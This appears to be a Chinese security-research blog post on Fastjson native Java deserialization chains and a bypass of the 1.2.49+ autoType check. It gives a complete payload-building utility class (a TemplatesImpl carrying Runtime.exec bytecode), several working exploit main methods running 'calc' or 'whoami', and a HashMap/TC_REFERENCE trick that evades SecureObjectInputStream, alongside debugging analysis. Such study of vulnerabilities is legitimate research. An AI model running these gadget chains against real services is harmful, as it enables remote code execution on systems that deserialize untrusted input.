JavaSec 12-Fastjson原生反序列化及绕过
前言
依然是炒冷饭环节,已经被研究烂了但是先知还有人发 ,不过还是可以学到不少新东西,加强下对于反序列化流程的理解
面对高版本 autotype 难以利用的情况下,尝试选择原生的反序列化,触发 toString 再触发任意 getter 的方法十分好用。
既然是原生反序列化,寻找 implements Serializable 的类,JSONArray 与 JSONObject,利用起来差不多,但是似乎用 JSONArray 的更多一些。
Fastjson <1.2.48
先放一个工具类,我现在非常喜欢工具类
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
public class Util {
/**
* 序列化对象为 Base64 字符串,并打印 URL 编码后的结果。
*
* @param obj 需要序列化的对象,必须实现 Serializable 接口
*/
public static void printURLEncodedBase64SerializedString(Object obj) {
try {
// 1. 将对象序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
byte[] serializedBytes = baos.toByteArray();
// 2. Base64 编码
String base64 = Base64.getEncoder().encodeToString(serializedBytes);
// 3. URL 编码
String urlEncoded = URLEncoder.encode(base64, "UTF-8");
// 4. 打印输出
// System.out.println("Base64:");
// System.out.println(base64);
System.out.println("\nURL-Encoded Base64:");
System.out.println(urlEncoded);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static byte[] file2ByteArray(String filePath) throws IOException {
InputStream in = new FileInputStream(filePath);
byte[] data = inputStream2ByteArray(in);
in.close();
return data;
}
public static byte[] inputStream2ByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static TemplatesImpl getTemplatesImpl(byte[] code) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Util.setFieldValue(templates, "_bytecodes", new byte[][]{code});
Util.setFieldValue(templates, "_name", "name");
Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static SignedObject getSingnedObject(Serializable obj) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
return signedObject;
}
public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void checkUnserialize(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
然后是 exp,简化完长得像伪代码一样,但是感觉能把重心聚焦在逻辑上而不是反射构造
public static void main(String[] args) throws Exception{
Templates templates = Util.getTemplatesImpl(Util.genPayload("calc"));
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Util.setFieldValue(val, "val", jsonArray);
Util.checkUnserialize(val);
}
在这个版本下虽然 JSONArray 有 Serializable 接口但是自己或者父类没有重载readObject 方法,只能去作为链路的一部分去使用,触发链条就是 Json 类的 toString->toJSONString->get,下面简要分析一下为什么会触发 get(说实话分析完还不是很懂)
先看一眼调用栈
进到这里面去 write itemSerializer,看一下怎么提取出来的属性
先判断 serializers 这个 HashMap 当中有无默认映射
在后面创建了一个 JavaBeanSerializer
再跟进到 buildJavaBeanSerializer
我这里用的图是调 getObject 的图,原理都一样,先倒着看最后返回的结果,发现在这里就完成了对 get 方法的获取
进去调一下发现是在这个解析方法里取到 get 方法,具体的不想看了(
然后会进到 createASMSerializer 去处理 beaninfo,通过 ASM 动态创建一个类
getter 方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod
当中
会根据字段的类型调用不同的方法处理
找一种方法进去看一下
通过 _get 方法生成读取 filed 的方法,最终调用方法的get方法
呃但其实还是得 heapdump 一下看看 ASM 的东西 arthas快速入门,我这里不知道为什么 win 上面没成功,放到 wsl 去做了
把之前 exp 改一下方便把工具注入进去,工具太牛逼了,可惜我晚生几年没有参与 contribute 的机会
public static void main(String[] args) throws Exception{
Templates templates = Util.getTemplatesImpl(Util.genPayload("whoami"));
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Util.setFieldValue(val, "val", jsonArray);
try{
Util.checkUnserialize(val);
}catch (Exception e){}
while(true){}
}
jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl write
ASMSerializer_1_TemplatesImpl 这个类很长,看到调用的其实是他的 write 方法,我们 dump 一个 write 方法分析就好
public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
ObjectSerializer objectSerializer;
if (object == null) {
jSONSerializer.writeNull();
return;
}
SerializeWriter serializeWriter = jSONSerializer.out;
if (!this.writeDirect(jSONSerializer)) {
this.writeNormal(jSONSerializer, object, object2, type, n);
return;
}
if (serializeWriter.isEnabled(32768)) {
this.writeDirectNonContext(jSONSerializer, object, object2, type, n);
return;
}
TemplatesImpl templatesImpl = (TemplatesImpl)object;
if (this.writeReference(jSONSerializer, object, n)) {
return;
}
if (serializeWriter.isEnabled(0x200000)) {
this.writeAsArray(jSONSerializer, object, object2, type, n);
return;
}
SerialContext serialContext = jSONSerializer.getContext();
jSONSerializer.setContext(serialContext, object, object2, 0);
int n2 = 123;
String string = "outputProperties";
Object object3 = templatesImpl.getOutputProperties();
if (object3 == null) {
if (serializeWriter.isEnabled(964)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(0, 0);
n2 = 44;
}
} else {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if (object3.getClass() == Properties.class) {
if (this.outputProperties_asm_ser_ == null) {
this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);
}
if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
} else {
objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
}
} else {
jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);
}
n2 = 44;
}
string = "stylesheetDOM";
if (!serializeWriter.isEnabled(0x2000000)) {
object3 = templatesImpl.getStylesheetDOM();
if (object3 == null) {
if (serializeWriter.isEnabled(964)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(0, 0);
n2 = 44;
}
} else {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if (object3.getClass() == DOM.class) {
if (this.stylesheetDOM_asm_ser_ == null) {
this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);
}
if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
} else {
objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
}
} else {
jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);
}
n2 = 44;
}
}
string = "transletIndex";
int n3 = templatesImpl.getTransletIndex();
serializeWriter.writeFieldValue((char)n2, string, n3);
n2 = 44;
if (n2 == 123) {
serializeWriter.write(123);
}
serializeWriter.write(125);
jSONSerializer.setContext(serialContext);
}
了解如何调用任意 get 方法之后,回到主线逻辑,很简单就是一个
BadAttributeValueExpException#readObject
Json#toString
toJSONString
TemplatesImpl#getOutputProperties
Fastjson <1.2.83
反序列化流程及旧版本失效原因
在1.49开始,JSONArray 以及 JSONObject 有了自己的 readObject ,套了一层看似安全的 SecureObjectInputStream,还有个 resolveClass ,也就是我们在还原 JSONArray 对象时候会去调用他的 readObject 方法,然后会因为里面的检查导致
autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
那有没有什么办法可以绕过对于 templates 的检查呢,也就是能不能不经过那个 resolveClass 里面的检查?有的有的
这个我们得先到反序列化底层一点的逻辑去思考一下,比如研究一下为什么会被 checkAutoType 拦截
在这里先放一个之前版本失败的反序列化流程分析图,但我并没有写第三步嵌套进去的 templates ,因为和第二步一样,只不过去在调用 resolveClass 时候被 check 而已,以后不用这 processon 作图了,没米充会员
说实话做完图已经不想再一步步把过程和截图放上来了,把重点部分拿出来说下好了,想看调试就看他的fastjson原生链分析,有的地方说的有点瑕疵,问题不大
首先是进来 readObject0 ,根据传进来的对象走到对应的对象分支,这里讲一下分支都是什么(偷懒直接用别人的了)
try {
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
TC_OBJECT
: 表示流中接下来是一个新的普通对象实例。会调用readOrdinaryObject()
。TC_CLASS
: 表示流中接下来是一个java.lang.Class
对象。会调用readClass()
。TC_CLASSDESC
: 表示流中接下来是一个 类描述符 (ObjectStreamClass
) 的数据。会调用readClassDesc()
。TC_PROXYCLASSDESC
: 表示流中接下来是一个动态代理类的描述符。会调用readProxyDesc()
。TC_STRING
,TC_LONGSTRING
: 表示字符串。会调用readString()
或readLongUTF()
。TC_ARRAY
: 表示数组。会调用readArray()
。TC_ENUM
: 表示枚举常量。会调用readEnum()
。TC_NULL
: 表示一个null
引用。直接返回null
。TC_REFERENCE
: 表示对流中先前已读取对象的 反向引用 (句柄)。会调用readHandle()
来获取缓存的对象。TC_EXCEPTION
: 表示序列化的异常。会调用readFatalException()
。TC_BLOCKDATA
,TC_BLOCKDATALONG
: 表示原始数据块(通常在自定义readObject
方法中使用)。会调用readBlockHeader()
。TC_RESET
: 表示流重置标记。会处理流状态重置。TC_ENDBLOCKDATA
: 表示原始数据块的结束。
TC_REFERENCE
是重点,稍后说
通过 readOrdinaryObject -> readClassDesc -> readNonProxyDesc -> readNonProxy 去读取流里面的反序列化数据,比如类名,serialVersionUID ,字段数量类型和名称等,最后封装成一个 ObjectStreamClass 对象,赋值给 readDesc 变量然后 return 回去
拿到 desc 之后回到 readOrdinaryObject 去调用 readSerialData
如果我们有自己重写 readObject
,则调用 slotDesc.invokeReadObject(obj, this)
;若没有,则调用 defaultReadFields
填充数据。 很显然 BadAttributeValueException 还有之后的 JSONArray 都是重写了 readObject 方法的
为什么之后在还原过程中会被 check 到呢,就是因为那个 SecureObjectInputStream 重写了 resolveClass 方法,所以这里不在执行 ObjectInputStream#resolveClass 默认的方法了,而是会先执行 JSONObject.SecureObjectInputStream#resolveClass 方法,最后再去 ObjectInputStream#resolveClass 返回类
绕过
TC_REFERENCE
: 表示对流中先前已读取对象的 反向引用 (句柄)。会调用 readHandle()
来获取缓存的对象。
TC_REFERENCE,是引用类型。序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。
当我们在 JSONArray (ArrayList) 中的类是 普通的类(TC_OBJECT)时 readObject0()
就会去执行 readOrdinaryObject => readNonProxyDesc() => SecureObjectInputStream#resolveClass => checkAutoType()
那么如果不是普通类 而是利用引用的特性(TC_REFERENCE) 不就可以绕过 checkAutoType() 的执行了吗,反序列化出 TemplateImpl 进而去执行后边的 toString 调用 getter 方法,实现恶意类执行
这里直接上最后的 exp 了,通过 hashmap 包装一下,先去反序列化 key:templates,存在句柄里,后面还原 JSONArray 时候直接走到TC_REFERENCE
分支绕过检查
public static void main(String[] args) throws Exception{
TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
Util.checkUnserialize(hashMap);
}
后记
写的有点晕了后面,找点时间再完善一下
参考文章
https://xz.aliyun.com/news/17659
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson与原生反序列化-二/